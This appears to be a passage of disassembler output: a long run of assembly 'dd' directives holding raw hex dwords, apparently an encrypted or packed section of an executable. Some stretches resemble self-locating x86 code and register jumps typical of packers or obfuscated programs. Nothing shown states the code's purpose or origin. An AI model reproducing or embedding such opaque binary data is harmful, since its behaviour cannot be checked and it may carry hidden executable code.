		dd 0AE39DB32h, 6228DBCh, 0ED27E94Fh, 0A091BFE1h, 0A2463FD8h
		dd 0EC7D82BAh, 2E847DBEh, 61000007h, 983B8FC6h,	0C768BEFBh
		dd 0F152E8A1h, 2182185Dh, 72F94D00h, 0FFB2D33Fh, 2B6608ABh
		dd 5910349Fh, 8AC362CDh, 8B2A83Ch, 0B606E110h, 0FF8FB4F2h
		dd 1788155Ch, 2FF03D74h, 49DA4702h, 72386528h, 72DD5CC5h
		dd 0AB1458D9h, 0BA50258Dh, 0F8F8590Eh, 6706A90Fh, 0D2CB82A6h
		dd 2545AE54h, 7854C068h, 9F12DFC8h, 13Bh, 9D5CFFA0h, 3454B5F0h
		dd 0EE7307Dh, 145D00A1h, 3C873596h, 0F6117C8Eh,	58F3B5FFh
		dd 0F61313DBh, 0C4AFB5FFh, 0CD635F5Bh, 488A1477h, 9D000000h
		dd 0E286B5E7h, 3C1506ABh, 803A608Eh, 0AF57D788h, 8147D17Ah
		dd 0B600056Eh, 0B4B6FB54h, 0B6000570h, 0D25F1233h, 4B6F214h
		dd 0A38CB600h, 43E52042h, 9B74A50Ah, 65CEBF16h,	40E14AD6h
		dd 77F84632h, 0A5A114h,	0FF7A0000h, 0B1FC9D5Ch,	0DD423B6Ch
		dd 0B86E2344h, 357A3757h, 0BD7B4E4h, 62CF8AA8h,	1D40EF49h
		dd 3756CF54h, 0F0DE287Eh, 0B3AF5850h, 13083890h, 15C88676h
		dd 0FF5DEE3Ch, 103DA644h, 59DFC855h, 0C4466993h, 133CB602h
		dd 0FB3F49F7h, 0C9B602C3h, 0BF20CA6Eh, 0ACEC1E9Eh, 96B602C3h
		dd 0DD46C4BDh, 5FD7F1BCh, 71F328D4h, 5E3D1B2h, 73160000h
		dd 2E43EC3Ah, 0D474DF6Bh, 88A6099Dh, 0B5D679CDh, 9425A2F8h
		dd 0A90DD7Eh, 46C489A9h, 0B0F6BFDDh, 0E1256C0Fh, 65A5E705h
		dd 5FB606E2h, 5EFF3219h, 92C9713h, 0FFDDFA40h, 0B2FB9D5Ch
		dd 0DE433C6Dh, 18A22645h, 0AF57D720h, 0AA5049E2h, 32662F49h
		dd 16C748h, 0FFE20000h,	1788155Ch, 1DF03D74h, 5D0007A8h
		dd 280D9614h, 28000000h, 703559BAh, 7CD47738h, 9DBB10A4h
		dd 845E4FD4h, 1DF69367h, 2B6206E9h, 0D9DC1E8Dh,	43AF5859h
		dd 21444BD4h, 0BAF5D268h, 22763F59h, 7397DE7Dh,	7CA3FEF9h
		dd 2D4FBB38h, 0F5EE3F64h, 7DBBFE94h, 14AF0D8Eh,	0A00A64F6h
		dd 4CE62264h, 73DCAF58h, 48DFA97Bh, 0E4C07AE0h,	0DEB6070Bh
		dd 0CF6E5175h, 4A236A0Eh, 793053FCh, 7AC17334h,	9EBD264Ch
		dd 0C7514AD7h, 0B6097A01h, 0E3836CBCh, 5F480526h, 783D51D2h
		dd 0AF09E23Bh, 0AF10B661h, 0D721C58Ch, 94366E5Ch, 0BCB67F94h
		dd 60DC56Eh, 0B9039598h, 0F13E7716h, 8B3F8428h,	5E6F6A71h
		dd 0C9FF58C3h, 0E5CD2947h, 0BA996A49h, 0ED000004h, 1C87034Ah
		dd 4BF43277h, 7D26642Dh, 0AD1694D1h, 0FE45C18Ch, 7B3657BBh
		dd 0AFE2842Fh, 0DD94B81Bh, 0E47E649h, 8C3E2CB8h, 0B606E48Ch
		dd 0FF0B3076h, 2E91155Ch, 56A0460Fh, 32490409h,	0F457C134h
		dd 0A541082Bh, 0E9266953h, 0ADCF33B8h, 0F49A0BE4h, 1B8467B1h
		dd 33EC3178h, 38D25F12h, 17710F01h, 0F25BA6FDh,	45082A31h
		dd 6BD6CFD8h, 3B5A61C2h, 0F00D0DBFh, 5CF7AF57h,	9B772763h
		dd 6212DFCFh, 50h, 0EB5E7C5h, 3351B2D8h, 9B283E7Ah, 69B60026h
		dd 95B718CEh, 25B3F711h, 13B5B600h, 0B6002617h,	978042EDh
		dd 989E68BEh, 0BB60026h, 0C489A968h, 0E9A4C65Fh, 97A5344h
		dd 0FC4A236Ah, 3B783153h, 4347812Fh, 1B60026h, 0E63D8216h
		dd 18000003h, 88155CFFh, 0CC81852h, 1C087DB6h, 3970139Ch
		dd 41FA5AEDh, 3FC63A5h,	1E2B600h, 95862B62h, 0B9DAFD03h
		dd 857EAFF4h, 1FDE7E61h, 0BFE8357Ch, 75F152C6h,	0DC6EEA8Ah
		dd 0B60003DCh, 4948DA6h, 3C2C2h, 0A43E1B6h, 5AF295A5h
		dd 0CF583060h, 5BFC315Eh, 71F03D16h, 0D45CDB44h, 0C8A4B67Fh
		dd 2F14776Ch, 4Ah
		dd 0C3B5E7F0h, 57D781B9h, 0FFE843AFh, 55EB1CBh,	0F600B600h
		dd 9B991DD9h, 50FE3A76h, 0BFE0C3E7h, 0B8FD91F2h, 4B4B9370h
		dd 67B60077h, 0F53557FDh, 0C7B60076h, 32379347h, 1601C1B0h
		dd 8A882982h, 1477B09Eh, 0CF79h, 5CFFC200h, 76178815h
		dd 0E2DF63Bh, 2A49DA47h, 0CB252763h, 0D8AF57DBh, 5AEFCB5h
		dd 64822F66h, 7518D97Bh, 0CDA6F73Ch, 26E13760h,	5F994DF6h
		dd 59FABDE3h, 449E8F14h, 5816EF68h, 7FC40660h, 343E7A53h
		dd 7E6792h, 0B4F25DB6h,	63920C4Eh, 0F6F3DFC0h, 892F1855h
		dd 81259E3Eh, 0F9E9215Bh, 70DBB5FFh, 9F883238h,	41BCAA9Ch
		dd 2375305Eh, 2B94321Dh, 60C3470Ah, 0C456723Fh,	0CCEC80FBh
		dd 2AF16EFh, 47E20000h,	7A17B80Eh, 2048EB3Fh, 0DC72DD69h
		dd 81A20D99h, 0C0F17ECCh, 2E7C3152h, 12A8E585h,	4CDA93B1h
		dd 0BD0940E3h, 91893329h, 73B606E6h, 5EFF0E35h,	3BB3F69Bh
		dd 70EFD76Fh, 90160FF2h, 0C1450C2Fh, 0DA97B81Bh, 0CFD44455h
		dd 0D80EB5E7h, 54FAEh, 951A35B6h, 55155h, 7A3352B6h, 64CC6C35h
		dd 0AE60DCF2h, 0CF544DEAh, 0AF2EF764h, 4709AA01h, 2D72375Ch
		dd 0A2E78BFCh, 288C2C7Dh, 1477FA3Ch, 0AADBh, 5CFF6C00h
		dd 76178815h, 1248F3Bh,	30689248h, 12AF57D7h, 0CA0CFF39h
		dd 0AF57DBB4h, 81054CEFh, 0E9367F1Eh, 93378C20h, 0FFEC0269h
		dd 0B357C0B5h, 0EBB7F315h, 0A28DB5FFh, 0C4692C41h, 4CFF45D3h
		dd 4CB753E8h, 0EF38652Ch, 0D119A349h, 0B3BCAA8Ah, 0E0816298h
		dd 95B619ADh, 3A672250h, 0AC85C869h, 0CE53163Bh, 30C4E4DDh
		dd 60EC810Dh, 1B7C243h,	4FEA0000h, 721F8006h, 2850F337h
		dd 0D47A2561h, 89AA1591h, 0B8F946C4h, 3674395Ah, 1AA0ED8Dh
		dd 54D29BB9h, 850148EBh, 89813B21h, 7BB606E7h, 5EFF163Dh
		dd 92C9713h, 0FFDDFA40h, 0B2FB9D5Ch, 0DE433C6Dh, 47E72645h
		dd 0D78585C7h, 0D47FAF57h, 0BEE402FBh, 317E3755h, 0D6DADEF8h
		dd 8FA8AF57h, 5D00A329h, 0AE0E8F14h, 0B457F115h, 8EB60002h
		dd 0ADF978A5h, 2C5C507h, 1CBFB600h, 0D1473079h,	93B2B97Ah
		dd 44862CDAh, 0B6000344h, 3983153Eh, 7C1D2E8Eh,	4ABBEC31h
		dd 0EAC36025h, 0F8B3D5F1h, 0EEBCA822h, 5E0D206Ch, 0D7EF1DFh
		dd 0ACFD226Bh, 0BD69C20Ch, 3B7D3052h, 0FDB4D748h, 24FEFB0h
		dd 2D64049Dh, 149D0A80h, 0FCA51685h, 0D6F44FEDh, 0A8004DEDh
		dd 97BB2442h, 0FBADED1Fh, 0BC97BCA7h, 46805EC3h, 0BCA7FC42h
		dd 0FA3E1700h, 501BAD6Ch, 2C50B3C3h, 49EF3865h,	0F01EAC87h
		dd 1BF8304Ah, 61CAC350h, 8CC56837h, 5ADE7E27h, 501BE820h
		dd 0D69BBBC3h, 0D891B314h, 0EFD0F6EFh, 3695034Eh, 12199A33h
		dd 238C3A73h, 0C8E14E03h, 0F3219A60h, 91689248h, 73C9F847h
		dd 0ABCA5BD8h, 11BABDE2h, 928ACC90h, 3493C0E0h,	8331F622h
		dd 0FD0F8FB0h, 0C9F8B8BDh, 6EB3AC87h, 64A6443Dh, 0D0A0E485h
		dd 0F556D47Fh, 0BCCEFC47h, 0D74FE1E9h, 2C4A70DBh, 4FE29E9Ah
		dd 6DCB64D7h, 4F0625FEh, 7C3558FBh, 49573737h, 8D7E4505h
		dd 377E1D24h, 852D50F3h, 956CD9EEh, 0E64B2457h,	0B9DC113Dh
		dd 579A07F0h, 8EBB57Eh,	97802D64h, 0B6FF9E01h, 0E5ACCF70h
		dd 3C7B8h, 0B0E20000h, 1158FFCBh, 3970138Ch, 40092BF4h
		dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h,	0CD84A47Dh
		dd 0D792BF60h, 2768FA4Ah, 89000036h, 8682404h, 8900006Eh
		dd 8950240Ch, 405E0h, 42D0000h,	87000000h, 895C2404h, 0BA52243Ch
		dd 6AEFEFEh, 89D78957h,	545A5FF9h, 81243C8Bh, 4C4h, 2DA96800h
		dd 0C890000h, 24348124h, 316D5B48h, 8108478Fh, 5B480877h
		dd 34FF316Dh, 0C4815F24h, 4, 592434FFh,	0E904C483h, 0FFF96B66h
		dd 9226C6h, 0A9712E4h, 0E45B7D6Bh, 11F1B88Fh, 0C50306AFh
		dd 1874E0FFh, 0FDE80F67h, 10E13C09h, 45790CAAh,	0ECE865EFh
		dd 7D8C4748h, 65386CD2h, 64855DEFh, 953D45BBh, 7CAC13F6h
		dd 1AE94402h, 50000000h, 2155D6h, 5 dup(0)
		dd 521E900h, 27420000h,	0DA77D86Eh, 80A80B9Fh, 0BCD27DC9h
		dd 6102ADF9h, 60119E2Ch, 4EDC91B2h, 0B20845E5h,	0EC3A7311h
		dd 0DD692043h, 31699349h, 13B606E9h, 59BA6ED5h,	165FFE3Fh
		dd 1134FB3Dh, 0D7377395h, 0AA0DAF57h, 0FED7C085h, 24FF0B1h
		dd 31781B84h, 430A2A95h, 0D72565A7h, 341FAF57h,	0FF9E07E4h
		dd 9BB869B6h, 78E251DEh, 7BB8F197h, 941DF622h, 63A7EE8Dh
		dd 3C5D9CC0h, 0C4629871h, 57D78682h, 45D37CAFh,	793054FFh
		dd 67CB6B34h, 0F4A439B6h, 5AA8332h, 4148E9C2h, 16BC6A23h
		dd 58B9B4F4h, 73A58EAFh, 4E072689h, 0BA1E19E1h,	0F6CAF58h
		dd 35B894A6h, 5E5F12DFh, 0E0000000h, 88155CFFh,	57D7484Eh
		dd 7C25B2AFh, 0F5A7A630h, 0CA572BD7h, 69DECA6Eh, 143912DFh
		dd 0C3000000h, 59331989h, 0B11F0E5Fh, 55BDA1DCh, 6102635Ch
		dd 0FFA78C2Ch, 0B4FD9F52h, 0A0CD56DBh, 4BE7B8E5h, 5932A10Eh
		dd 856E94D8h, 1607ACE9h, 57D6ACECh, 7BBD96AFh, 4CDA9FB4h
		dd 0BD0940E3h, 135EFF96h, 3D78158Eh, 1B8431F0h,	96B67314h
		dd 0FFA0E6DFh, 0EF1155Ch, 0A1FA276Eh, 6D0B9477h, 2E588624h
		dd 0AF57D6EAh, 1008B2D8h, 0F2AF57D7h, 5BC86059h, 85951EF5h
		dd 12DFD459h, 647Ch, 5EFFC700h,	73158E13h, 0AD1EF53Ah
		dd 115CFD04h, 44092A95h, 0A3E503DFh, 0AF57D767h, 94D97A5Dh
		dd 9CB27DBBh, 57F13C51h, 0AF98911Eh, 2C8769B6h,	0D46B7783h
		dd 449212DFh, 0B5000000h, 0F7135EFFh, 0F523660Ch, 0A6EF8D16h
		dd 4180A879h, 2F746D20h, 169BD276h, 0FA793A93h,	0D8A40D66h
		dd 9D1B56F7h, 0EE3C7112h, 9F52FFC1h, 50DDB6F3h,	57D78F96h
		dd 35FEFDAFh, 0DFD64925h, 1AC12h, 0FF770000h, 9EA1059h
		dd 0C28BAD68h, 0C5534C5Dh, 0D79EBD66h, 0E4ADD033h, 2D4ED7B4h
		dd 0C30BC360h, 0AA80B316h, 0C18CAE1Fh, 0ECA5C35Ch, 0E170316Eh
		dd 252CF5DEh, 4BFC4A03h, 0C10AB3E9h, 0E08B5148h, 12A9D3F7h
		dd 0F0B6006Fh, 2A49DA47h, 0BF392763h, 60BDA4BDh, 0F6B9FF8Eh
		dd 7E81E57h, 188B2D64h,	5ED8DEh, 0E64F24B6h, 1314BCDFh
		dd 785C435Ch, 1B8402FBh, 33EC3178h, 55D45910h, 0D3037F8h
		dd 7A56C644h, 9D147748h, 146h, 0EB5E7A6h, 723AED8h, 36E1B600h
		dd 0F3F54690h, 0F8FB3F49h, 6EC9B5FFh, 0B4552594h, 785B8764h
		dd 4159AD7h, 0EC680B94h, 822F6203h, 982961A9h, 301BB600h
		dd 0BA25C347h, 0DE41D79Eh, 0AAD0F6BFh, 5A642949h, 0B600985Eh
		dd 0ADDF0B24h, 0B600986Dh, 0CFBCFC57h, 487E3756h, 0F3B1830Eh
		dd 0EF4959AAh, 8F10BD7Ch, 8243E2CDh, 64B4ADE0h,	55D198BBh
		dd 776BF5E1h, 2C1014h, 0E72B0000h, 0ADDF0BB6h, 2F57D74Dh
		dd 57971C37h, 2F57D753h, 2645EE45h, 6A9C4AF5h, 0AF57D70Eh
		dd 21CF5BF4h, 41D79EBEh, 0A1FEh, 0B5E7D900h, 0CFAED80Eh
		dd 0B5B6000Ah, 0E98C159Ah, 7AFC1AA0h, 467CCCFEh, 0DC43D596h
		dd 80CAF0B9h, 958151D1h, 0EAA0C5D5h, 587AA73Fh,	2A2C9F19h
		dd 0B60095E9h, 48D598BAh, 0B7FCB5D7h, 8A09AA01h, 6834FDF6h
		dd 30F788C2h, 28C98967h, 23AAEEh, 153798B6h, 6A35635Ch
		dd 830482CBh, 0CA7CAA11h, 0BCAF3668h, 0B6ACF15Ah, 3F64214Dh
		dd 46E54AEEh, 0B2ABE687h, 0AB0EA6Dh, 0AF35B8F0h, 0A1DE82BCh
		dd 0C3F6349Ch, 2B802803h, 0A399B8Ah, 40FA276Eh,	0CAAB53ABh
		dd 877069DBh, 247BD963h, 0EE49C35Eh, 30BA7358h,	672D3E2Dh
		dd 7A8E1700h, 0EC12D52Dh, 1CB077A1h, 0DA47022Fh, 0D132E8C1h
		dd 64B5FAB3h, 369C2E34h, 0CB60714h, 7F60FE23h, 1E0F94DDh
		dd 3F76159Ah, 6C2548EBh, 0E27207C7h, 0AA03DE01h, 2A630209h
		dd 5910339Ch, 88A50ED4h, 0ABEF19CDh, 99DE01E1h,	99B57ABEh
		dd 73AC2EDCh, 2334E361h, 2DF655C3h, 49DA470Eh, 703E632Ah
		dd 34DB5ADBh, 6C0F169Fh, 0CA5A5EE8h, 0EE28DE02h, 0DA294D29h
		dd 97807920h, 6B0AF513h, 5AC78EAAh, 0D2CB6841h,	0F3BAD946h
		dd 1B1FA9D7h, 88DE02CDh, 2801AEEBh, 1216B0D6h, 0F0DE02CDh
		dd 59CA6E47h, 3E8h, 0CBB0C300h,	8C1158FFh, 0F4397013h
		dd 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh
		dd 60CD84A4h, 4AD792BFh, 0E78957FAh, 4C781h, 0BB530000h
		dd 4, 875BDF29h, 685C243Ch, 543Ch, 57242C89h, 0C781E789h
		dd 4, 4EF81h, 3C870000h, 1C895C24h, 0C1685324h,	5B39213Ch
		dd 5A7FF381h, 0E3C154D7h, 0EB814B06h, 76EA9CC2h, 835B5D53h
		dd 248904ECh, 24048324h, 52515B04h, 57792168h, 814A5A03h
		dd 0CD3F78CAh, 0A3C2811Eh, 816E807Eh, 5FFE13EAh, 5AD1898Eh
		dd 2989D901h, 2434FF59h, 4C4815Bh, 8B000000h, 8956242Ch
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 65E8E95Ch, 0D5B1FFF9h
		dd 0B86B1FABh, 6AF1738h, 0E0FFC503h, 0CCE71C4h,	1C17E7E2h
		dd 60B1B827h, 60004907h, 78C68F61h, 3A7F308Ch, 78429EC3h
		dd 1BF4FF5Dh, 147B4777h, 787D152Bh, 7F1479A3h, 590CE4A6h
		dd 5C0B305Bh, 2719DF7h,	741B8836h, 192A8D8Dh, 6A06AFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 8021C6C3h, 8D8943E3h, 6A805B9h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0ECC35545h,	607D6EA7h, 858BF33Ch
		dd 6A83135h, 0CB5362BEh, 6985C766h, 0C006A814h,	6A00006Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 9622C353h, 0BA55D1E2h, 0F3213FEDh, 0C7C2B70Fh
		dd 0A80BBD85h, 6, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 80E4DE88h, 9D8B7CCCh
		dd 6A829D1h, 1561B5FFh,	6A06A8h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0E556C4C3h, 0E8D37FA0h
		dd 0C78B6652h, 0DD95FF5Ah, 0E906A820h, 0Ch, 0E4914A1Dh
		dd 2DA9DA9Dh, 75278022h, 95FF006Ah, 6A81B31h, 0BEBC08Bh
		dd 0D1544DECh, 0A16AE8D7h, 0C60B7902h, 0A815D585h, 0DF685606h
		dd 0FFA9C530h, 0A80F95B5h, 71858D06h, 0FF06AB69h, 0D98D8DD0h
		dd 5106A82Ch, 0B5FF406Ah, 6A80CB9h, 0D81B5FFh, 0D0FF06A8h
		dd 0CB9B5FFh, 0B5FF06A8h, 6A80D81h, 0DE8h, 0E38C8100h
		dd 1E5C492Eh, 1240982Bh, 5A5A24BBh, 0C104EA83h,	0C102242Ch
		dd 3022424h, 1CF72414h,	6824h, 0FF5E0000h, 81591634h, 0F6C8EDE9h
		dd 0F9E98129h, 817FF619h, 0AC199DE9h, 320C8947h, 4E02EE83h
		dd 24343B4Eh, 0FFD9850Fh, 9D8DFFFFh, 6A82065h, 0C00B038Bh
		dd 7840Fh, 38B0000h, 89045B8Bh,	0E8C98B18h, 0Bh, 2EF7E3A3h
		dd 0DA3AAEF5h, 8B6216C0h, 0B4B75AF1h, 5B02C281h, 0BF0F0000h
		dd 0B9C02BD9h, 7650D6F3h, 0B9023C8Bh, 4BE2234Ch, 8233F781h
		dd 0F18B01D5h, 13E1F781h, 0BB6669AFh, 0C7817ACCh, 37C96E52h
		dd 9E9h, 52E0CA00h, 0AB9F54E3h,	0F571699h, 48FF0B7h, 0D3CE8102h
		dd 0F4A6FC0h, 0E883F7B7h, 6E904h, 21730000h, 0D63D77DFh
		dd 0A5B8F881h, 850FFFFFh, 15h, 0E9C8B70Fh, 3Eh,	9422F9C8h
		dd 3CD55877h, 23891496h, 11E8600Eh, 0C1000000h,	9FA94C80h
		dd 0DEE24596h, 0CEBB2C5Eh, 0CCE2736Ch, 0E3F28166h, 0E9615971h
		dd 0FFFFFF70h, 0A9C3386Ah, 7C3F52A4h, 9FBB0B8Bh, 5FE96748h
		dd 52000001h, 0E860D48Bh, 0
		dd 0B3ED815Dh, 8B06AF1Ah, 453D0842h, 0F782638h,	13885h
		dd 0C428B00h, 0D3184A8Bh, 2A20BBC8h, 0C3338EF0h, 8904E883h
		dd 0A805B985h, 4588B06h, 428BF88Bh, 184A8B10h, 0A4BEC8D3h
		dd 33C2554Fh, 83C72BC6h, 0E883FCE0h, 69858904h,	8B06A814h
		dd 85891442h, 6A80BBDh,	5318428Bh, 0B0E9h, 8DB5FF00h, 0E906A82Ah
		dd 0B9h, 1DA9B5FFh, 0AEE906A8h,	0FF000000h, 0A81561B5h
		dd 0A3E906h, 0B5FF0000h, 6A80E01h, 98E9h, 0A1B5FF00h, 0E906A814h
		dd 8Dh,	1535B5FFh, 82E906A8h, 0FF000000h, 0A805FDB5h, 77E906h
		dd 0B5FF0000h, 6A80D41h, 6CE9h,	8DB5FF00h, 0E906A829h
		dd 61h,	2071B5FFh, 56E906A8h, 0FF000000h, 0A801B1B5h, 4BE906h
		dd 0B5FF0000h, 6A816FDh, 40E9h,	11B5FF00h, 0E906A821h
		dd 35h,	2A11B5FFh, 2AE906A8h, 0FF000000h, 0A80915B5h, 1FE906h
		dd 0B5FF0000h, 6A83509h, 14E9h,	0B8D88B00h, 0Bh, 8DE3F766h
		dd 0AF1B148Dh, 0FFC80306h, 0DD95FFE1h, 5B06A820h, 5B9858Bh
		dd 583906A8h, 0F850F04h, 53000000h, 95FF016Ah, 6A81B31h
		dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
		dd 6A82235h, 1C028D8Dh,	418906AFh, 0E8C38B01h, 5, 5A9FBD6Ch
		dd 0F5BFC04h, 0C381D2B7h, 67F2h, 2D26BE66h, 14E9FF2Bh
		dd 0C3000000h, 33DF3DB6h, 0DED0BC8Eh, 81EFD13Ch, 2FFFF5D9h
		dd 8B57D6B9h, 6E83B04h,	17000000h, 520D2D82h, 815EFCAEh
		dd 48741EE8h, 0F38B6625h, 3BE8F081h, 0FE86B9Ah,	25000000h
		dd 6D3ED502h, 0AFA788Ah, 0C12E0BF0h, 0CE9A192h,	4F000000h
		dd 0B01D15F5h, 313FFD1Dh, 59C6DFEAh, 0AFBE881h,	50F95856h
		dd 0ABEABE66h, 663B048Fh, 317DEE81h, 44F18152h,	5E31F732h
		dd 0F04EF83h, 0FF81F2BFh, 0FFFF98C0h, 0FF8D850Fh, 830FFFFFh
		dd 0Eh,	0E8D88160h, 811AA40Ah, 0F1A9CDD8h, 6E86121h, 1D000000h
		dd 526A9B44h, 0BE9B5h, 79280000h, 5AB87991h, 7FAD8297h
		dd 81665B86h, 81E8D6DAh, 59EAC3h, 1E2BE00h, 0F681074Fh
		dd 74F17B7h, 0EA8033FFh, 0E9565900h, 7,	2A671035h, 58B3678Fh
		dd 0A8E9E981h, 9AB80DF3h, 8152657Bh, 0E780D4C1h, 0CA81666Fh
		dd 0E9811FDEh, 47BF9AAFh, 660B89F9h, 0EB81D08Bh, 186B8814h
		dd 0D2C88157h, 587EB854h, 8810C381h, 0CE8186Bh,	3C000000h
		dd 0C2CC59E8h, 0A60E3BEBh, 6600B598h, 0A083D781h, 850F4E5Fh
		dd 0FFFFFF98h, 0A8913FBAh, 1DE97Ch, 0AF840000h,	6184h
		dd 5 dup(0)
		dd 0E9000000h, 4AFh, 0AF1E8368h, 601CE906h, 0FB68FFF9h
		dd 0E906AF1Eh, 0FFF96012h, 0AF204F68h, 6008E906h, 2346FFF9h
		dd 0DE73DC6Ah, 84A40F9Bh, 0B8D679CDh, 6506A9FDh, 64159228h
		dd 7AC08DAEh, 0B6F4B9D9h, 0E0266F0Dh, 0D1551C3Fh, 35759755h
		dd 0FB606F4h, 5EFF62C9h, 76158E13h, 0E6DF9AB7h,	0EB5E7A0h
		dd 0E1FFAED8h, 6AC5B5FFh, 7B3E53BCh, 0D0B3E536h, 0FFE20E16h
		dd 26B0AAB5h, 715CEE1Eh, 33A80071h, 73746072h, 0E8931477h
		dd 0B4000002h, 43F12201h, 51B8C2F8h, 33B5FFEDh,	9766A018h
		dd 14B36553h, 5DEF1BA0h, 0BA0D8552h, 119A0730h,	44E218A3h
		dd 0D850602h, 0C553FCBAh, 0BF6CED1Fh, 3056C0B5h, 0BF38708Ah
		dd 210AC0B5h, 0B5BFA199h, 0DFC863C0h, 64A5C82Bh, 11958EC3h
		dd 204E8FAEh, 0F6EF3865h, 75F897D2h, 9FA39E8h, 324h, 1694DD7Ch
		dd 41C580ADh, 0B7F3BADEh, 0E723660Ch, 0D0561B3Ch, 4BEC264Bh
		dd 7F1F8006h, 294BF432h, 0DA79DA60h, 55971793h,	6F4F733h
		dd 0A08FCDB6h, 0C7BF30BAh, 5DC7BEBFh, 53E84CDBh, 438E15B7h
		dd 0DB74B607h, 0D16BAD2Fh, 0E9CC4AEBh, 169BD678h, 66499305h
		dd 913288C5h, 0EA70BDF0h, 0FB697B60h, 0A8007D71h, 770555Eh
		dd 662F4EB6h, 24470142h, 8B74B7F3h, 2ACh, 9E2C6504h, 0C95D1835h
		dd 3F8BC266h, 6FBBFE94h, 58EEA3C4h, 0D3749ED3h,	87A7089Eh
		dd 0B1D37CCAh, 6201A2F8h, 0DD0F9F2Bh, 6F56FABh,	281755B6h
		dd 0AEEA1CBAh, 94AF57D6h, 0AAA7DBBh, 30F315B1h,	12B606F4h
		dd 3272F439h, 4EB606F4h, 423E3CE5h, 0A51470CFh,	1B7h, 9D5CFF7Eh
		dd 5AC7B0FDh, 0A7E3AAC9h, 0B1E913B9h, 93AF57D6h, 5B770B8h
		dd 27CF375Fh, 6841B3B2h, 58E508B2h, 74DFB600h, 58E72F2Fh
		dd 5983B600h, 59918933h, 0D873B600h, 383AFB50h,	1477504Ch
		dd 4FABh, 59BA7C00h, 6F387035h,	6F5076CDh, 0CC1682CFh
		dd 563BAh, 0D0F621B6h, 51810AAh, 41EAB600h, 5EE74D7h, 0CD84A766h
		dd 0DA5E4FD4h, 5080Ch, 0B2F79BB6h, 0DA9FB46Dh, 0E7482355h
		dd 0ADF2BFE0h, 0B61D837Ch, 0F8F1EDEDh, 0BC141477h, 2F000000h
		dd 7EF45CFFh, 18BCFC23h, 5B44625Bh, 4724743Dh, 0B3F0BDDEh
		dd 951A53F2h, 0FA20690Ch, 0D4EE2A5Ch, 7BD4AF58h, 4FB5573Dh
		dd 54AF58DAh, 0C4227831h, 7D4FFDB2h, 5BDDFB3Eh,	37D368CCh
		dd 0EBE3A6CCh, 0F3ED2E6Dh, 0CC16827Fh, 40C93BAh, 20C671B6h
		dd 357819FAh, 561B3CE3h, 83CE6FD0h, 27AB1865h, 0A8199AF3h
		dd 158h, 7AC089B0h, 0B5F1B4D9h,	0E3276E0Ah, 0D3571240h
		dd 482CF70h, 7718FABFh,	2343EC3Ah, 0D577D86Eh, 86A50E9Ch
		dd 79E37BCFh, 6F6CBCFh,	0D473B9B6h, 9CDE5EFFh, 0BBD486A6h
		dd 78B05AD6h, 2BAF5817h, 97804207h, 0A4C768BEh,	17A2E620h
		dd 0B760AF58h, 0FF6348DEh, 0C1B0F45Ch, 0CDB6DAEh, 126CACDEh
		dd 0FD56AF58h, 25439F04h, 5812A7E3h, 66B29DAFh,	57D39AB9h
		dd 6E2746A9h, 481EE8C1h, 929136FFh, 9D3F8820h, 0ED468026h
		dd 0D7B600AAh, 0C4654E7Ch, 0CBCB3D89h, 0D8B600AAh, 40AEFCB5h
		dd 0E6EF7836h, 0EF49F0AAh, 0BADA1F40h, 49951AF3h, 228FC666h
		dd 0B2ABE281h, 9E9966h,	0E7BC0000h, 0AED80EB5h,	0B606F4DFh
		dd 735C8AA5h, 4159ADFh,	0CF6E3794h, 0DD7F6086h,	9A1E0F94h
		dd 0A5EC8F30h, 81D1FE78h, 0BCD21D32h, 4DEBB4F9h, 0C8A1E88Ch
		dd 66CFE46Bh, 4ED744D7h, 66A02447h, 1D328222h, 0C85E37E0h
		dd 208DC467h, 996D37Fh,	0E358F098h, 0A59793D4h,	3FE04D26h
		dd 0B6CA5712h, 0DAE5743Dh, 357C1F80h, 0E5A708E3h, 0F89954FAh
		dd 4657DCB5h, 672E4DD2h, 743D6043h, 0EE8DFE2Fh,	0F7217AA7h
		dd 0CA83A20Dh, 5AB4DA1Ch, 0E9E1A8CBh, 83A3AD8Ch, 0E043D5CEh
		dd 31Fh, 0CBB03A00h, 8C1158FFh,	0F4397013h, 0E340092Bh
		dd 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh,	60CD84A4h
		dd 4AD792BFh, 529968FAh, 34890000h, 0E3895324h,	4C381h
		dd 0EB830000h, 241C8704h, 242C895Ch, 6F5D68h, 24048900h
		dd 4EC81h, 3C890000h, 5B74BF24h, 0CDBD7E80h, 31782F46h
		dd 8B545FFDh, 0C4812404h, 4, 8904EC83h,	0EA892414h, 5A085089h
		dd 5024048Bh, 405E089h,	5000000h, 4, 5C240487h,	5D2434FFh
		dd 4C481h, 83E90000h, 0FEFFF95Bh, 0D080959Fh, 0AEF161D2h
		dd 0B8C03EFEh, 6AF21CCh, 0E0FFC503h, 62B28DA2h,	3F80518Eh
		dd 494CFEDDh, 0A5C15A5h, 32D2D5DDh, 6AA03A8Ah, 5E88DF48h
		dd 3CA67968h, 7BCED3A2h, 36C363BCh, 155B09E4h, 9907B1Eh
		dd 0F96F023h, 229BB775h, 6D9BC8B0h, 42846C25h, 1BC748C0h
		dd 7ABBD2ABh, 0C14C298h, 231B8D8Dh, 8E806AFh, 24000000h
		dd 0E2B9E30Dh, 5AEA078Ah, 5B98D89h, 858906A8h, 6A821D5h
		dd 146985C7h, 5D2406A8h, 0FEB30000h, 0BBD85C7h,	6A8h, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 4122B4C3h, 0F03D4EDh, 89h, 9B5FF00h,	8906A835h, 0A81BC9B5h
		dd 0DD95FF06h, 906A820h, 0A807D59Dh, 0FF006A06h, 0A81B3195h
		dd 0EBC08B06h, 12B39568h, 572A5FFCh, 6B429AEDh,	1CA20875h
		dd 0FED4B221h, 6A4CAB04h, 7913F1Dh, 267BDBBBh, 62973AFDh
